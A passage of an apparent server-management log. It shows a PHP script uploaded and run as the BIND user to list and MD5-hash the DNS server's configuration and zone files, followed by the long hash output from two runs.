MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 17:05:51: Establishing a connection
2026-04-28 17:05:51: 

PUT: /tmp/pkp783914

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 17:05:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp783914; rm /tmp/pkp783914'

2026-04-28 17:05:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 17:05:53: Establishing a connection
2026-04-28 17:05:53: 

PUT: /tmp/pkp233579

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 17:05:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp233579; rm /tmp/pkp233579'

2026-04-28 17:05:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
